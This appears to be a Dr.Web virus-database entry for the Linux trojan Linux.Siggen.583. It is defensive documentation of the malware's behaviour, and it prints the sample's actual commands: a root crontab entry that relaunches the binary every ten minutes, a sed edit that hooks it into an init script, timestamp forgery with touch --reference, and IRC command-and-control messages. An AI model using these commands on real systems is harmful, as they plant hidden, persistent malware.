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Linux.Siggen.583
Added to the Dr.Web virus database:
2018-05-07
Virus description added:
2018-05-07
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
/etc/init.d/sedhnJjSH
/etc/init.d/urandom
Malicious functions:
Launches itself as a daemon
Manages services:
Launches processes:
sh -c (crontab -l| grep -v c855a922; echo \"*/10 * * * * /root/c855a922 >/dev/null 2>&1\") | crontab -
crontab -l
crontab -
grep -v c855a922
/root/c855a922
sh -c service --status-all | grep + | tail -n 1
grep +
tail -n 1
sh -c sed -i 's/.*END.*/&\n\/root\/c855a922/' /etc/init.d/urandom
sed -i s/.*END.*/&\n\/root\/c855a922/ /etc/init.d/urandom
sh -c touch --reference=$(which id) /etc/init.d/urandom
which id
touch --reference=/usr/bin/id /etc/init.d/urandom
sh -c netstat -unlt | grep tcp | cut -d \":\" -f2 | awk '{print $1}'| xargs
grep tcp
netstat -unlt
cut -d : -f2
xargs
awk {print $1}
/bin/echo 111 22 25 38110
sh -c which sh
which sh
sh -c which bash
which bash
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.e4xORP
/etc/init.d/sedhnJjSH
Creates or modifies files:
<SAMPLE_FULL_PATH>
/var/spool/cron/crontabs/tmp.e4xORP
Network activity:
Connects to the following servers over the IRC protocol:
Server: 54.##.77.221; Command: USER Linux 0 0 :box-i386 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u3 (2016-01-17)
\n
Server: 54.##.77.221; Command: NICK RT-i686-c855a922-FE49
\n
Server: 54.##.77.221; Command: JOIN #XM bleh
\n
DNS ASK:
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
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Todos los componentes de protección
Renovación de la demo a través de AppGallery/Google Pay
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